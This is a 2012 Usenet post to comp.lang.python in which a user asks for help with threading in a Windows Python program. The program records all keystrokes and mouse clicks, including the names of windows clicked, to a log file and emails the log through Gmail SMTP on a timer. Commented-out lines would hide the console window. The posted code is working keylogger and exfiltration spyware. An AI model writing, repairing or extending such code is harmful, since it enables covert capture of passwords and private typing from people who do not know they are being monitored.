Path: csiph.com!usenet.pasdenom.info!weretis.net!feeder1.news.weretis.net!feeder.erje.net!eu.feeder.erje.net!newsfeed.xs4all.nl!newsfeed3.news.xs4all.nl!xs4all!post.news.xs4all.nl!not-for-mail Return-Path: X-Original-To: python-list@python.org Delivered-To: python-list@mail.python.org X-Spam-Status: OK 0.001 X-Spam-Evidence: '*H*': 1.00; '*S*': 0.00; 'else:': 0.03; 'elif': 0.04; 'completeness': 0.07; 'except:': 0.07; 'msg': 0.07; 'try:': 0.07; 'python': 0.09; '"can\'t': 0.09; 'msg)': 0.09; 'thread,': 0.09; 'to:addr:comp.lang.python': 0.09; 'cc:addr:python-list': 0.10; 'def': 0.10; 'skip:# 20': 0.13; 'ahead!': 0.16; 'alot': 0.16; 'disclaimers': 0.16; 'disclaimers,': 0.16; 'exit()': 0.16; 'fromaddr': 0.16; 'securities,': 0.16; 'sense,': 0.16; 'smtplib': 0.16; 'threading': 0.16; 'time.time()': 0.16; 'toaddrs': 0.16; 'url:disclosures': 0.16; 'url:jpmorgan': 0.16; 'win32api': 0.16; 'win32gui': 0.16; 'wrote:': 0.17; 'example.': 0.17; 'version.': 0.17; 'import': 0.21; 'please?': 0.22; 'sends': 0.22; 'skip:= 20': 0.22; "i've": 0.23; 'cc:2**1': 0.24; 'pass': 0.25; 'cc:addr:python.org': 0.25; 'header:In-Reply-To:1': 0.25; 'header :User-Agent:1': 0.26; 'cc:addr:gmail.com': 0.27; 'sender,': 0.27; 'accuracy': 0.27; 'use?': 0.29; "i'm": 0.29; 'code': 0.31; 'getting': 0.33; 'skip:s 30': 0.33; 'code:': 0.33; 'version': 0.34; "can't": 0.34; 'received:google.com': 0.34; 'wrong': 0.34; 'thanks': 0.34; 'server': 0.35; 'received:209.85': 0.35; 'but': 0.36; "wasn't": 0.36; "didn't": 0.36; 'skip:p 20': 0.36; 'being': 0.37; 'passed': 0.37; 'received:209': 0.37; 'subject:: ': 0.38; 'skip:o 20': 0.38; 'sure': 0.38; 'release': 0.39; 'skip:" 10': 0.40; 'help': 0.40; 'address': 0.60; 'from:no real name:2**0': 0.60; 'you.': 0.61; 'skip:w 30': 0.61; 'latest': 0.61; 'helping': 0.63; 'information,': 0.63; 'url:email': 0.63; 'legal': 0.65; 'subject': 0.66; 'purchase': 0.67; 'records': 0.68; 'skip:\xd7 10': 0.69; '8bit%:100': 0.70; 'hey,': 0.72; 'sale': 0.76; '13:': 0.84; 'mails': 0.88; 'recorder': 0.91; 'period.': 0.95 Newsgroups: comp.lang.python Date: Sat, 1 Dec 2012 05:38:39 -0800 (PST) In-Reply-To: Complaints-To: groups-abuse@google.com Injection-Info: glegroupsg2000goo.googlegroups.com; posting-host=109.67.145.97; posting-account=1S80FQoAAABelYPIfKhSxSIVe-Ku-JLH References: <9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com> User-Agent: G2/1.0 X-Google-Web-Client: true X-Google-IP: 109.67.145.97 MIME-Version: 1.0 Subject: Re: pyHook and time libraries From: doronmmm@gmail.com To: comp.lang.python@googlegroups.com Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: Doron , "python-list@python.org" X-BeenThere: python-list@python.org X-Mailman-Version: 2.1.15 Precedence: list List-Id: General discussion list for the Python programming language List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Message-ID: Lines: 182 NNTP-Posting-Host: 2001:888:2000:d::a6 X-Trace: 1354369123 news.xs4all.nl 6940 [2001:888:2000:d::a6]:39075 X-Complaints-To: abuse@xs4all.nl Xref: csiph.com comp.lang.python:34124 =D7=91=D7=AA=D7=90=D7=A8=D7=99=D7=9A =D7=99=D7=95=D7=9D =D7=A9=D7=99=D7=A9= =D7=99, 30 =D7=91=D7=A0=D7=95=D7=91=D7=9E=D7=91=D7=A8 2012 21:47:57 UTC+2, = =D7=9E=D7=90=D7=AA Prasad, Ramit: > Doron wrote: >=20 > >=20 >=20 > > Hey, I'm tring to create a software that records the keyboard/mouse and= sends email of the log every >=20 > > predetermined period. >=20 > >=20 >=20 > > I've manage to make the recorder and the auto-email sender, but I still= can't make both of them work >=20 > > simultaneously. >=20 > >=20 >=20 > > Can someone help me with this please? >=20 > > I thought about threading but again... It just sends blank mails withou= t the logs. >=20 > >=20 >=20 > > Thanks alot ahead! >=20 >=20 >=20 > I am not sure how to even begin helping you. I do not even know >=20 > what is wrong other than "can't make both of them work simultaneously". >=20 > What version of Python and OS? Are you using any 3rd party modules? >=20 > What is the code you use? What happens and what do you expect? How >=20 > are you getting the logs for email? Are they being passed in or are >=20 > you using a log file? >=20 >=20 >=20 >=20 >=20 > ~Ramit >=20 >=20 >=20 >=20 >=20 >=20 >=20 > This email is confidential and subject to important disclaimers and >=20 > conditions including on offers for the purchase or sale of >=20 > securities, accuracy and completeness of information, viruses, >=20 > confidentiality, legal privilege, and legal entity disclaimers, >=20 > available at http://www.jpmorgan.com/pages/disclosures/email. This is the code: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D import win32api import win32console import win32gui import pythoncom, pyHook import smtplib import time import thread, threading #win =3D win32console.GetConsoleWindow() #win32gui.ShowWindow(win,0) log =3D "" logpath =3D "log.txt" openfile =3D open(logpath,"w") openfile.write("") #openfile =3D open(logpath,"r+") l =3D threading.Lock() def sendEmail(): print("ready to send email") fromaddr =3D 'email@gmail.com' toaddrs =3D 'email@gmail.com' msg =3D open('log.txt',"r").read() username =3D 'something' password =3D 'something'=20 server =3D smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, msg) server.quit() print("mail sent") def sendEmailAuto(dt,openfile): tt =3D time.time() nn =3D tt+dt while tt=3Dnn-0.5: #l.acquire() <=3D=3D I wasn't sure if I need to lock and = release it, it makes sense, but I didn't understand how to use it in python msg =3D open('log.txt',"r").read() print(msg) sendEmail() tt =3D time.time() nn =3D tt+dt log =3D "" #l.release() =20 else: tt =3D time.time() =20 def OnKeyboardEvent(event): try: global log if event.Alt =3D=3D 32 and event.KeyID =3D=3D 160: log =3D "[LangCh]" elif event.KeyID>=3D37 and event.KeyID<=3D40: log =3D "["+event.Key+"]" elif event.Ascii =3D=3D 8: log =3D "[BS]" elif event.Ascii =3D=3D 9: log =3D "[TAB]" elif event.Ascii =3D=3D 13: log =3D "[NL]" elif event.Ascii =3D=3D 27: log =3D "[ESC]" elif event.Alt =3D=3D 32 and event.KeyID =3D=3D 75: openfile.close() sendEmail() exit() else: log =3D chr(event.Ascii) openfile.write(log) except: pass return True def OnMouseEvent(event): global log if event.MessageName =3D=3D "mouse left down": log =3D "<"+event.WindowName +">\n" openfile.write(log) if event.MessageName =3D=3D "mouse left up" and event.WindowName =3D=3D= None : log =3D "-\n" openfile.write(log) return True thread.start_new_thread(sendEmailAuto, (10,openfile)) hm =3D pyHook.HookManager() hm.KeyDown =3D OnKeyboardEvent hm2 =3D pyHook.HookManager() hm2.MouseAll =3D OnMouseEvent hm.HookKeyboard() hm2.HookMouse() =20 pythoncom.PumpMessages() =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D i want that an email will be sent to the address every 5 minutes for exampl= e. i'm working on Windows7 and the latest python version.